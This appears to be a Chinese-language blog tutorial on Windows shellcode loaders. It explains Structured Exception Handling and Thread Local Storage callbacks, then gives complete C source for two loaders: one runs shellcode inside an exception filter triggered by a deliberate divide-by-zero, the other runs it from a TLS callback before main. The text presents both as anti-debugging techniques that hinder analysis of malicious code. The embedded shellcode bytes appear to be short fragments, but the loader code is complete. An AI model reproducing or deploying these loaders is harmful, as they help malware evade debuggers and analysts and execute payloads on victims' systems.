基于SEH异常
什么是SEH
SEH(Structured Exception Handling,结构化异常处理)是Windows操作系统中的一种错误处理和异常处理机制。SEH提供了一种强大、灵活且通用的方法来处理异常,它使得开发者能够为应用程序中发生的运行时错误和异常编写自定义的处理代码
SEH的工作原理是在程序中建立一个异常处理函数链。每个异常处理函数都负责处理特定的异常。当程序运行时遇到异常,操作系统会沿着异常处理函数链寻找适当的处理函数。如果找到合适的异常处理函数,系统将调用该函数并处理异常。如果没有找到合适的处理函数,系统将终止程序
在C++中,可以使用_try
、_except
和_finally
关键字来实现SEH异常处理。_try
块包含可能引发异常的代码;_except
块包含处理异常的代码;而_finally
块包含在任何情况下都应执行的代码,无论是否发生异常
SEH的一个重要特点是它与语言无关,因此可以在C、C++等语言中使用。然而,C++提供了另一种异常处理机制:C++异常处理(try
、catch
和throw
关键字)。C++异常处理机制更符合C++语言的面向对象特性,通常在C++程序中更为常用。然而,在某些情况下,SEH仍然具有独特的优势,例如在处理特定的Windows异常或与C代码交互时
实现代码
这种方式加载shellcode的一个好处就是在调试器环境下和正常运行环境下表现不同。当程序在调试器中运行时,调试器会接管异常处理,从而使得程序在除零异常处停止,而不会执行shellcode。这使得恶意代码的执行在调试环境下被阻止,为分析和调试带来困难
#include<Windows.h>
#include<stdio.h>
#pragma comment(linker, "/section:.data,RWE")
// 存储要执行的shellcode
char shellcode[] =
"\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a"
"\x00\x53\xff\xd5";
int a = 1;
int b = 0;
// 定义异常处理函数
int ExceptFilter()
{
b = 1; // 修改b的值为1,以防止无限循环的异常处理
((void(*)(void)) & shellcode)(); // 强制转换shellcode的类型,并执行
return EXCEPTION_CONTINUE_EXECUTION; // 在处理完异常后,程序继续执行异常发生位置的代码
/*
EXCEPTION_CONTINUE_EXECUTION返回值会导致程序在处理完异常后重新执行引发异常的那一行代码。
由于ExceptFilter函数已经修改了变量b的值(将其设置为1),再次执行a / b时将不会触发异常。
因此,这个程序不会反复加载shellcode
*/
/*
异常处理函数的返回值除了有EXCEPTION_CONTINUE_EXECUTION,还有以下两个值:
EXCEPTION_EXECUTE_HANDLER:异常处理器已处理异常,程序应在_except块内继续执行
EXCEPTION_CONTINUE_SEARCH:异常处理器未处理异常,程序应继续搜索其他异常处理器
*/
}
int main()
{
_try // 尝试执行可能引发异常的代码块
{
int c = a / b; // 故意执行除零操作以触发异常
}
_except(ExceptFilter()) { // 当异常发生时,调用ExceptFilter函数处理
};
return 0;
}
基于TLS机制
什么是TLS
线程局部存储(Thread Local Storage,TLS)是一种将数据与特定执行线程关联的机制。当在一个线程内部的各个函数调用之间共享数据,但不让其他线程访问时,可以使用TLS
TLS回调函数
TLS提供了一个回调函数,在线程初始化和终止时会被调用,这个回调函数会在程序入口点(即main函数)之前执行,调试器通常会在主函数入口点设置断点,因此TLS回调函数经常被用作反调试手段
TLS回调函数允许我们编写并执行任意代码。TLS有两种类型:静态TLS和动态TLS。静态TLS将TLS相关数据硬编码在PE(Portable Executable)文件中,而动态TLS在运行时分配和管理TLS数据。
静态TLS是将TLS相关数据硬编码在PE(Portable Executable,可执行文件)中。静态TLS存储在PE头的IMAGE_DATA_DIRECTORY DataDirectory[9]
位置,可以通过该位置找到TLS目录的详细信息
通过在TLS回调函数中加载和执行shellcode,我们可以在程序的正常执行流之前运行这段代码。这种方法可以绕过调试器设置的断点,增加分析和调试的难度
TLS回调函数遵循特殊的编写约定,与DLL主函数类似。回调函数使用以下类型定义:
typedef VOID
(NTAPI *PIMAGE_TLS_CALLBACK) (
PVOID DllHandle, //DLL模块的句柄
DWORD Reason, //调用原因。这个参数与DLL调用时的原因相同,例如:DLL_PROCESS_ATTACH(当进程加载DLL时)、DLL_THREAD_ATTACH(当线程创建时)等
PVOID Reserved //保留参数,通常用于区分DLL是显式加载还是隐式加载
);
实现代码
这段代码的核心目的是在程序启动时,通过TLS回调函数来执行Shellcode,而不是在主函数中执行
#include <Windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
//用于存放shellcode的数组
unsigned char shellcode[] =
"\x85\xf6\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2"
"\xf0\xb5\xa2\x56\xff\xd5";
//TLS回调函数
VOID NTAPI TlsCallBack(PVOID DllHandle, DWORD dwReason, PVOID Reserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
HANDLE HeapHandle = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, sizeof(shellcode), 0);
char* buffer = (char*)HeapAlloc(HeapHandle, HEAP_ZERO_MEMORY, sizeof(shellcode));
memcpy(buffer, shellcode, sizeof(shellcode));
((void(*)(void)) buffer)();
}
}
//确保链接器在生成可执行文件时包含TLS相关的符号,即确保链接器知道程序使用了TLS功能和自定义的TLS回调函数
#pragma comment (linker, "/INCLUDE:__tls_used")
#pragma comment (linker, "/INCLUDE:__tls_callback")
//这行代码告诉编译器,接下来的数据(如变量定义)将放置在名为.CRT$XLB的数据段中。
//.CRT$XLB是一个特殊的数据段名称,链接器将在其中寻找TLS回调函数的地址
#pragma data_seg (".CRT$XLB")
//这行代码定义了一个名为_tls_callback的变量,其类型为PIMAGE_TLS_CALLBACK(一个指向TLS回调函数的指针)。
//此变量被初始化为指向TlsCallBack函数的地址
//由于我们在第一行代码中使用了#pragma data_seg指令,_tls_callback变量将被放置在.CRT$XLB数据段中
//.CRT$XLB是一个特定的数据段名称,与C运行时(C Runtime,CRT)机制有关。在这个名称中,各部分的含义如下:
//.CRT:这个前缀表示该数据段与C运行时机制相关。
//$:这个符号在数据段名称中用作分隔符。
//XL:这两个字符表示该数据段用于存储TLS回调函数地址。在链接器处理TLS回调时,它会查找具有这个前缀的数据段。
//B:这个字母表示数据段的顺序。这个字符可以是字母表中的B到Y之间的任意一个字母。这意味着可以定义多个TLS回调,链接器会按照字母顺序调用它们。
//需要注意的是,.CRT$XLA和.CRT$XLZ这两个数据段名称是保留的,用于C运行时库的内部实现,因此不应在用户代码中使用
//EXTERN_C PIMAGE_TLS_CALLBACK _tls_callback = TlsCallBack;
EXTERN_C PIMAGE_TLS_CALLBACK _tls_callback = TlsCallBack;
//这行代码告诉编译器恢复默认的数据段。
//这意味着在这个指令之后定义的数据(如变量定义)将被放置在默认的数据段中,而不是.CRT$XLB数据段
#pragma data_seg ()
int main()
{
printf("tls回调函数执行完后才执行我!");
return 0;
}